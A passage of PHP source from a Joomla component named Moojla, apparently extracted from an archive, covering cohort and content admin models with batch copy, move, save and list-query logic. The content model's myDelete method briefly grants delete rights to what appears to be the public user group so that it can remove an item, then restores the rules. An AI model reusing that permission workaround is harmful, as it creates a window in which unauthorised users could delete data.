$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.cohort.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.cohort', $data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return false;
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo = MoojlaHelper::getActions('cohort');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('cohort');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('cohort');
}
if (!$this->canDo->get('core.edit') &&
!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// make sure published only updates if user has the permission.
if (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
unset($values['published']);
}
// remove move_copy from array
unset($values['move_copy']);
// Parent exists so we proceed
foreach ($pks as $pk)
{
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT'));
return false;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// insert all set values.
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
// Do special action for access.
if ('access' === $key && strlen($value) > 0)
{
$this->table->$key = $value;
}
elseif (strlen($value) > 0 &&
isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
}
// Clean the cache
$this->cleanCache();
return true;
}
/**
* Method to save the form data.
*
* @param array $data The form data.
*
* @return boolean True on success.
*
* @since 1.6
*/
public function save($data)
{
$input = JFactory::getApplication()->input;
$filter = JFilterInput::getInstance();
// set the metadata to the Item Data
if (isset($data['metadata']) &&
isset($data['metadata']['author']))
{
$data['metadata']['author'] =
$filter->clean($data['metadata']['author'],
'TRIM');
$metadata = new JRegistry;
$metadata->loadArray($data['metadata']);
$data['metadata'] = (string) $metadata;
}
// Set the Params Items to data
if (isset($data['params']) &&
is_array($data['params']))
{
$params = new JRegistry;
$params->loadArray($data['params']);
$data['params'] = (string) $params;
}
// Alter the unique field for save as copy
if ($input->get('task') === 'save2copy')
{
// Automatic handling of other unique fields
$uniqueFields = $this->getUniqueFields();
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$data[$uniqueField] =
$this->generateUnique($uniqueField,$data[$uniqueField]);
}
}
}
if (parent::save($data))
{
return true;
}
return false;
}
/**
* Method to generate a unique value.
*
* @param string $field name.
* @param string $value data.
*
* @return string New value.
*
* @since 3.0
*/
protected function generateUnique($field,$value)
{
// set field value unique
$table = $this->getTable();
while ($table->load(array($field => $value)))
{
$value = StringHelper::increment($value);
}
return $value;
}
}
models/cohorts.php000064400000021472151165724400010234 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage cohorts.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Utilities\ArrayHelper;
/**
* Cohorts Model
*/
class MoojlaModelCohorts extends JModelList
{
public function __construct($config = array())
{
if (empty($config['filter_fields']))
{
$config['filter_fields'] = array(
'a.id','id',
'a.published','published',
'a.ordering','ordering',
'a.created_by','created_by',
'a.modified_by','modified_by',
'g.name','mcohort',
'h.title','course_group'
);
}
parent::__construct($config);
}
/**
* Method to auto-populate the model state.
*
* Note. Calling getState in this method will result in recursion.
*
* @param string $ordering An optional ordering field.
* @param string $direction An optional direction (asc|desc).
*
* @return void
*
*/
protected function populateState($ordering = null, $direction = null)
{
$app = JFactory::getApplication();
// Adjust the context to support modal layouts.
if ($layout = $app->input->get('layout'))
{
$this->context .= '.' . $layout;
}
// Check if the form was submitted
$formSubmited =
$app->input->post->get('form_submited');
$access = $this->getUserStateFromRequest($this->context .
'.filter.access', 'filter_access', 0, 'int');
if ($formSubmited)
{
$access = $app->input->post->get('access');
$this->setState('filter.access', $access);
}
$published = $this->getUserStateFromRequest($this->context .
'.filter.published', 'filter_published', '');
$this->setState('filter.published', $published);
$created_by = $this->getUserStateFromRequest($this->context .
'.filter.created_by', 'filter_created_by',
'');
$this->setState('filter.created_by', $created_by);
$created = $this->getUserStateFromRequest($this->context .
'.filter.created', 'filter_created');
$this->setState('filter.created', $created);
$sorting = $this->getUserStateFromRequest($this->context .
'.filter.sorting', 'filter_sorting', 0,
'int');
$this->setState('filter.sorting', $sorting);
$search = $this->getUserStateFromRequest($this->context .
'.filter.search', 'filter_search');
$this->setState('filter.search', $search);
$mcohort = $this->getUserStateFromRequest($this->context .
'.filter.mcohort', 'filter_mcohort');
if ($formSubmited)
{
$mcohort = $app->input->post->get('mcohort');
$this->setState('filter.mcohort', $mcohort);
}
$course_group = $this->getUserStateFromRequest($this->context .
'.filter.course_group', 'filter_course_group');
if ($formSubmited)
{
$course_group =
$app->input->post->get('course_group');
$this->setState('filter.course_group', $course_group);
}
// List state information.
parent::populateState($ordering, $direction);
}
/**
* Method to get an array of data items.
*
* @return mixed An array of data items on success, false on failure.
*/
public function getItems()
{
// check in items
$this->checkInNow();
// load parent items
$items = parent::getItems();
/***[JCBGUI.admin_view.php_getitems_after_all.141.$$$$]***/
JLoader::register('MoojlaHelper',
JPATH_ADMINISTRATOR.'/components/com_moojla/helpers/moojla.php');
$dataObj = array(
"wsfunction" =>
"moojla_get_cohorts",
"moodlewsrestformat" => "json",
);
$cohorts =
json_decode(MoojlaHelper::sendRequestToMoodle($dataObj)->response,
true);
$ids = array_flip(array_column($cohorts, 'id'));
foreach($items as $ind => $item)
{
$items[$ind]->mcohort =
$cohorts[$ids[$items[$ind]->mcohort]]['name'];
}
/***[/JCBGUI$$$$]***/
// return items
return $items;
}
/**
* Method to build an SQL query to load the list data.
*
* @return string An SQL query
*/
protected function getListQuery()
{
// Get the user object.
$user = JFactory::getUser();
// Create a new query object.
$db = JFactory::getDBO();
$query = $db->getQuery(true);
// Select some fields
$query->select('a.*');
// From the moojla_item table
$query->from($db->quoteName('#__moojla_cohort',
'a'));
// From the usergroups table.
$query->select($db->quoteName('h.title','course_group_title'));
$query->join('LEFT',
$db->quoteName('#__usergroups', 'h') . ' ON
(' . $db->quoteName('a.course_group') . ' = ' .
$db->quoteName('h.id') . ')');
// Filter by published state
$published = $this->getState('filter.published');
if (is_numeric($published))
{
$query->where('a.published = ' . (int) $published);
}
elseif ($published === '')
{
$query->where('(a.published = 0 OR a.published = 1)');
}
// Filter by search.
$search = $this->getState('filter.search');
if (!empty($search))
{
if (stripos($search, 'id:') === 0)
{
$query->where('a.id = ' . (int) substr($search, 3));
}
else
{
$search = $db->quote('%' . $db->escape($search) .
'%');
$query->where('(a.mcohort LIKE '.$search.' OR g.name
LIKE '.$search.')');
}
}
// Filter by Mcohort.
$_mcohort = $this->getState('filter.mcohort');
if (is_numeric($_mcohort))
{
if (is_float($_mcohort))
{
$query->where('a.mcohort = ' . (float) $_mcohort);
}
else
{
$query->where('a.mcohort = ' . (int) $_mcohort);
}
}
elseif (MoojlaHelper::checkString($_mcohort))
{
$query->where('a.mcohort = ' .
$db->quote($db->escape($_mcohort)));
}
// Filter by Course_group.
$_course_group = $this->getState('filter.course_group');
if (is_numeric($_course_group))
{
if (is_float($_course_group))
{
$query->where('a.course_group = ' . (float)
$_course_group);
}
else
{
$query->where('a.course_group = ' . (int) $_course_group);
}
}
elseif (MoojlaHelper::checkString($_course_group))
{
$query->where('a.course_group = ' .
$db->quote($db->escape($_course_group)));
}
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering',
'a.id');
$orderDirn = $this->state->get('list.direction',
'desc');
if ($orderCol != '')
{
$query->order($db->escape($orderCol . ' ' .
$orderDirn));
}
return $query;
}
/**
* Method to get a store id based on model configuration state.
*
* @return string A store id.
*
*/
protected function getStoreId($id = '')
{
// Compile the store id.
$id .= ':' . $this->getState('filter.id');
$id .= ':' . $this->getState('filter.search');
$id .= ':' . $this->getState('filter.published');
$id .= ':' . $this->getState('filter.ordering');
$id .= ':' . $this->getState('filter.created_by');
$id .= ':' .
$this->getState('filter.modified_by');
$id .= ':' . $this->getState('filter.mcohort');
$id .= ':' .
$this->getState('filter.course_group');
return parent::getStoreId($id);
}
/**
* Build an SQL query to checkin all items left checked out longer then a
set time.
*
* @return a bool
*
*/
protected function checkInNow()
{
// Get set check in time
$time =
JComponentHelper::getParams('com_moojla')->get('check_in');
if ($time)
{
// Get a db connection.
$db = JFactory::getDbo();
// reset query
$query = $db->getQuery(true);
$query->select('*');
$query->from($db->quoteName('#__moojla_cohort'));
$db->setQuery($query);
$db->execute();
if ($db->getNumRows())
{
// Get Yesterdays date
$date = JFactory::getDate()->modify($time)->toSql();
// reset query
$query = $db->getQuery(true);
// Fields to update.
$fields = array(
$db->quoteName('checked_out_time') .
'=\'0000-00-00 00:00:00\'',
$db->quoteName('checked_out') . '=0'
);
// Conditions for which records should be updated.
$conditions = array(
$db->quoteName('checked_out') . '!=0',
$db->quoteName('checked_out_time') .
'<\''.$date.'\''
);
// Check table
$query->update($db->quoteName('#__moojla_cohort'))->set($fields)->where($conditions);
$db->setQuery($query);
$db->execute();
}
}
return false;
}
}
models/content.php000064400000055757151165724400010242 0ustar00<?php
/*----------------------------------------------------------------------------------|
www.vdm.io |----/
Lmskaran
/-------------------------------------------------------------------------------------------------------/
@version 1.0.77
@build 6th April, 2022
@created 22nd July, 2020
@package Moojla
@subpackage content.php
@author Lmskaran <http://Lmskaran.com>
@copyright Copyright (C) 2015. All Rights Reserved
@license GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
____ _____ _____ __ __ __ __ ___ _____ __ __ ____
_____ _ _ ____ _ _ ____
(_ _)( _ )( _ )( \/ )( ) /__\ / __)( _ )( \/ )( _ \(
_ )( \( )( ___)( \( )(_ _)
.-_)( )(_)( )(_)( ) ( )(__ /(__)\ ( (__ )(_)( ) ( )___/
)(_)( ) ( )__) ) ( )(
\____) (_____)(_____)(_/\/\_)(____)(__)(__) \___)(_____)(_/\/\_)(__)
(_____)(_)\_)(____)(_)\_) (__)
/------------------------------------------------------------------------------------------------------*/
// No direct access to this file
defined('_JEXEC') or die('Restricted access');
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;
/**
* Moojla Content Model
*/
class MoojlaModelContent extends JModelAdmin
{
/**
* The tab layout fields array.
*
* @var array
*/
protected $tabLayoutFields = array(
'details' => array(
'left' => array(
'contents_module_id',
'fileurl',
'filesize',
'mimetype',
'type',
'filename',
'file'
)
)
);
/**
* @var string The prefix to use with controller messages.
* @since 1.6
*/
protected $text_prefix = 'COM_MOOJLA';
/**
* The type alias for this content type.
*
* @var string
* @since 3.2
*/
public $typeAlias = 'com_moojla.content';
/**
* Returns a Table object, always creating it
*
* @param type $type The table type to instantiate
* @param string $prefix A prefix for the table class name. Optional.
* @param array $config Configuration array for model. Optional.
*
* @return JTable A database object
*
* @since 1.6
*/
public function getTable($type = 'content', $prefix =
'MoojlaTable', $config = array())
{
// add table path for when model gets used from other component
$this->addTablePath(JPATH_ADMINISTRATOR .
'/components/com_moojla/tables');
// get instance of the table
return JTable::getInstance($type, $prefix, $config);
}
/***[JCBGUI.admin_view.php_model.133.$$$$]***/
public function myDelete($pk){
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select($db->quoteName(array('rules',
'id')));
$query->from($db->quoteName('#__assets'));
$query->where($db->quoteName('name') . ' = '
. $db->quote('com_moojla'));
$db->setQuery($query);
$results = $db->loadObjectList();
$acls = json_decode($results[0]->rules);
$deleteAcl = null;
$permission = 'core.delete';
if(!property_exists($acls, $permission))
{
$acls->$permission = new stdClass();
}
$pub = '1';
$acls->$permission->$pub = 1;
$obj = new stdClass();
$obj->id = $results[0]->id;
$obj->rules = json_encode($acls);
JFactory::getDbo()->updateObject('#__assets', $obj,
'id');
$obj = new stdClass();
$obj->id = $pk;
$obj->published = -2;
JFactory::getDbo()->updateObject('#__moojla_content',
$obj, 'id'); // trash item
$pks = array($pk);
$res = $this->delete($pks);
$obj = new stdClass();
$obj->id = $results[0]->id;
$obj->rules = $results[0]->rules;
JFactory::getDbo()->updateObject('#__assets', $obj,
'id');
return $res;
}/***[/JCBGUI$$$$]***/
/**
* Method to get a single record.
*
* @param integer $pk The id of the primary key.
*
* @return mixed Object on success, false on failure.
*
* @since 1.6
*/
public function getItem($pk = null)
{
if ($item = parent::getItem($pk))
{
if (!empty($item->params) && !is_array($item->params))
{
// Convert the params field to an array.
$registry = new Registry;
$registry->loadString($item->params);
$item->params = $registry->toArray();
}
if (!empty($item->metadata))
{
// Convert the metadata field to an array.
$registry = new Registry;
$registry->loadString($item->metadata);
$item->metadata = $registry->toArray();
}
}
return $item;
}
/**
* Method to get the record form.
*
* @param array $data Data for the form.
* @param boolean $loadData True if the form is to load its own data
(default case), false if not.
* @param array $options Optional array of options for the form
creation.
*
* @return mixed A JForm object on success, false on failure
*
* @since 1.6
*/
public function getForm($data = array(), $loadData = true, $options =
array('control' => 'jform'))
{
// set load data option
$options['load_data'] = $loadData;
// check if xpath was set in options
$xpath = false;
if (isset($options['xpath']))
{
$xpath = $options['xpath'];
unset($options['xpath']);
}
// check if clear form was set in options
$clear = false;
if (isset($options['clear']))
{
$clear = $options['clear'];
unset($options['clear']);
}
// Get the form.
$form = $this->loadForm('com_moojla.content',
'content', $options, $clear, $xpath);
if (empty($form))
{
return false;
}
$jinput = JFactory::getApplication()->input;
// The front end calls this model and uses a_id to avoid id clashes so we
need to check for that first.
if ($jinput->get('a_id'))
{
$id = $jinput->get('a_id', 0, 'INT');
}
// The back end uses id so we use that the rest of the time and set it to
0 by default.
else
{
$id = $jinput->get('id', 0, 'INT');
}
$user = JFactory::getUser();
// Check for existing item.
// Modify the form based on Edit State access controls.
if ($id != 0 &&
(!$user->authorise('core.edit.state',
'com_moojla.content.' . (int) $id))
|| ($id == 0 &&
!$user->authorise('core.edit.state', 'com_moojla')))
{
// Disable fields for display.
$form->setFieldAttribute('ordering', 'disabled',
'true');
$form->setFieldAttribute('published', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('ordering', 'filter',
'unset');
$form->setFieldAttribute('published', 'filter',
'unset');
}
// If this is a new item insure the greated by is set.
if (0 == $id)
{
// Set the created_by to this user
$form->setValue('created_by', null, $user->id);
}
// Modify the form based on Edit Creaded By access controls.
if (!$user->authorise('core.edit.created_by',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created_by',
'disabled', 'true');
// Disable fields for display.
$form->setFieldAttribute('created_by',
'readonly', 'true');
// Disable fields while saving.
$form->setFieldAttribute('created_by', 'filter',
'unset');
}
// Modify the form based on Edit Creaded Date access controls.
if (!$user->authorise('core.edit.created',
'com_moojla'))
{
// Disable fields for display.
$form->setFieldAttribute('created', 'disabled',
'true');
// Disable fields while saving.
$form->setFieldAttribute('created', 'filter',
'unset');
}
// Only load these values if no id is found
if (0 == $id)
{
// Set redirected view name
$redirectedView = $jinput->get('ref', null,
'STRING');
// Set field name (or fall back to view name)
$redirectedField = $jinput->get('field', $redirectedView,
'STRING');
// Set redirected view id
$redirectedId = $jinput->get('refid', 0, 'INT');
// Set field id (or fall back to redirected view id)
$redirectedValue = $jinput->get('field_id', $redirectedId,
'INT');
if (0 != $redirectedValue && $redirectedField)
{
// Now set the local-redirected field default value
$form->setValue($redirectedField, null, $redirectedValue);
}
}
return $form;
}
/**
* Method to get the script that have to be included on the form
*
* @return string script files
*/
public function getScript()
{
return 'media/com_moojla/js/content.js';
}
/**
* Method to test whether a record can be deleted.
*
* @param object $record A record object.
*
* @return boolean True if allowed to delete the record. Defaults to the
permission set in the component.
*
* @since 1.6
*/
protected function canDelete($record)
{
if (!empty($record->id))
{
if ($record->published != -2)
{
return;
}
$user = JFactory::getUser();
// The record has been set. Check the record permissions.
return $user->authorise('core.delete',
'com_moojla.content.' . (int) $record->id);
}
return false;
}
/**
* Method to test whether a record can have its state edited.
*
* @param object $record A record object.
*
* @return boolean True if allowed to change the state of the record.
Defaults to the permission set in the component.
*
* @since 1.6
*/
protected function canEditState($record)
{
$user = JFactory::getUser();
$recordId = (!empty($record->id)) ? $record->id : 0;
if ($recordId)
{
// The record has been set. Check the record permissions.
$permission = $user->authorise('core.edit.state',
'com_moojla.content.' . (int) $recordId);
if (!$permission && !is_null($permission))
{
return false;
}
}
// In the absense of better information, revert to the component
permissions.
return parent::canEditState($record);
}
/**
* Method override to check if you can edit an existing record.
*
* @param array $data An array of input data.
* @param string $key The name of the key for the primary key.
*
* @return boolean
* @since 2.5
*/
protected function allowEdit($data = array(), $key = 'id')
{
// Check specific edit permission then general edit permission.
return JFactory::getUser()->authorise('core.edit',
'com_moojla.content.'. ((int) isset($data[$key]) ? $data[$key] :
0)) or parent::allowEdit($data, $key);
}
/**
* Prepare and sanitise the table data prior to saving.
*
* @param JTable $table A JTable object.
*
* @return void
*
* @since 1.6
*/
protected function prepareTable($table)
{
$date = JFactory::getDate();
$user = JFactory::getUser();
if (isset($table->name))
{
$table->name = htmlspecialchars_decode($table->name, ENT_QUOTES);
}
if (isset($table->alias) && empty($table->alias))
{
$table->generateAlias();
}
if (empty($table->id))
{
$table->created = $date->toSql();
// set the user
if ($table->created_by == 0 || empty($table->created_by))
{
$table->created_by = $user->id;
}
// Set ordering to the last item if not set
if (empty($table->ordering))
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('MAX(ordering)')
->from($db->quoteName('#__moojla_content'));
$db->setQuery($query);
$max = $db->loadResult();
$table->ordering = $max + 1;
}
}
else
{
$table->modified = $date->toSql();
$table->modified_by = $user->id;
}
if (!empty($table->id))
{
// Increment the items version number.
$table->version++;
}
}
/**
* Method to get the data that should be injected in the form.
*
* @return mixed The data for the form.
*
* @since 1.6
*/
protected function loadFormData()
{
// Check the session for previously entered form data.
$data =
JFactory::getApplication()->getUserState('com_moojla.edit.content.data',
array());
if (empty($data))
{
$data = $this->getItem();
// run the perprocess of the data
$this->preprocessData('com_moojla.content', $data);
}
return $data;
}
/**
* Method to get the unique fields of this table.
*
* @return mixed An array of field names, boolean false if none is set.
*
* @since 3.0
*/
protected function getUniqueFields()
{
return false;
}
/**
* Method to delete one or more records.
*
* @param array &$pks An array of record primary keys.
*
* @return boolean True if successful, false if an error occurs.
*
* @since 12.2
*/
public function delete(&$pks)
{
if (!parent::delete($pks))
{
return false;
}
return true;
}
/**
* Method to change the published state of one or more records.
*
* @param array &$pks A list of the primary keys to change.
* @param integer $value The value of the published state.
*
* @return boolean True on success.
*
* @since 12.2
*/
public function publish(&$pks, $value = 1)
{
if (!parent::publish($pks, $value))
{
return false;
}
return true;
}
/**
* Method to perform batch operations on an item or a set of items.
*
* @param array $commands An array of commands to perform.
* @param array $pks An array of item ids.
* @param array $contexts An array of item contexts.
*
* @return boolean Returns true on success, false on failure.
*
* @since 12.2
*/
public function batch($commands, $pks, $contexts)
{
// Sanitize ids.
$pks = array_unique($pks);
ArrayHelper::toInteger($pks);
// Remove any values of zero.
if (array_search(0, $pks, true))
{
unset($pks[array_search(0, $pks, true)]);
}
if (empty($pks))
{
$this->setError(JText::_('JGLOBAL_NO_ITEM_SELECTED'));
return false;
}
$done = false;
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->contentType = new JUcmType;
$this->type =
$this->contentType->getTypeByTable($this->tableClassName);
$this->canDo = MoojlaHelper::getActions('content');
$this->batchSet = true;
if (!$this->canDo->get('core.batch'))
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
if ($this->type == false)
{
$type = new JUcmType;
$this->type = $type->getTypeByAlias($this->typeAlias);
}
$this->tagsObserver =
$this->table->getObserverOfClass('JTableObserverTags');
if (!empty($commands['move_copy']))
{
$cmd = ArrayHelper::getValue($commands, 'move_copy',
'c');
if ($cmd == 'c')
{
$result = $this->batchCopy($commands, $pks, $contexts);
if (is_array($result))
{
foreach ($result as $old => $new)
{
$contexts[$new] = $contexts[$old];
}
$pks = array_values($result);
}
else
{
return false;
}
}
elseif ($cmd == 'm' && !$this->batchMove($commands,
$pks, $contexts))
{
return false;
}
$done = true;
}
if (!$done)
{
$this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION'));
return false;
}
// Clear the cache
$this->cleanCache();
return true;
}
/**
* Batch copy items to a new category or current.
*
* @param integer $values The new values.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return mixed An array of new IDs on success, boolean false on
failure.
*
* @since 12.2
*/
protected function batchCopy($values, $pks, $contexts)
{
if (empty($this->batchSet))
{
// Set some needed variables.
$this->user = JFactory::getUser();
$this->table = $this->getTable();
$this->tableClassName = get_class($this->table);
$this->canDo = MoojlaHelper::getActions('content');
}
if (!$this->canDo->get('core.create') ||
!$this->canDo->get('core.batch'))
{
return false;
}
// get list of unique fields
$uniqueFields = $this->getUniqueFields();
// remove move_copy from array
unset($values['move_copy']);
// make sure published is set
if (!isset($values['published']))
{
$values['published'] = 0;
}
elseif (isset($values['published']) &&
!$this->canDo->get('core.edit.state'))
{
$values['published'] = 0;
}
$newIds = array();
// Parent exists so let's proceed
while (!empty($pks))
{
// Pop the first ID off the stack
$pk = array_shift($pks);
$this->table->reset();
// only allow copy if user may edit this item.
if (!$this->user->authorise('core.edit',
$contexts[$pk]))
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
// Check that the row actually exists
if (!$this->table->load($pk))
{
if ($error = $this->table->getError())
{
// Fatal error
$this->setError($error);
return false;
}
else
{
// Not fatal error
$this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND',
$pk));
continue;
}
}
// Only for strings
if (MoojlaHelper::checkString($this->table->type) &&
!is_numeric($this->table->type))
{
$this->table->type =
$this->generateUnique('type',$this->table->type);
}
// insert all set values
if (MoojlaHelper::checkArray($values))
{
foreach ($values as $key => $value)
{
if (strlen($value) > 0 && isset($this->table->$key))
{
$this->table->$key = $value;
}
}
}
// update all unique fields
if (MoojlaHelper::checkArray($uniqueFields))
{
foreach ($uniqueFields as $uniqueField)
{
$this->table->$uniqueField =
$this->generateUnique($uniqueField,$this->table->$uniqueField);
}
}
// Reset the ID because we are making a copy
$this->table->id = 0;
// TODO: Deal with ordering?
// $this->table->ordering = 1;
// Check the row.
if (!$this->table->check())
{
$this->setError($this->table->getError());
return false;
}
if (!empty($this->type))
{
$this->createTagsHelper($this->tagsObserver, $this->type, $pk,
$this->typeAlias, $this->table);
}
// Store the row.
if (!$this->table->store())
{
$this->setError($this->table->getError());
return false;
}
// Get the new item ID
$newId = $this->table->get('id');
// Add the new ID to the array
$newIds[$pk] = $newId;
}
// Clean the cache
$this->cleanCache();
return $newIds;
}
/**
* Batch move items to a new category
*
* @param integer $value The new category ID.
* @param array $pks An array of row IDs.
* @param array $contexts An array of item contexts.
*
* @return boolean True if successful, false otherwise and internal
error is set.
*
* @since 12.2
*/
protected function batchMove($values, $pks, $contexts)
{
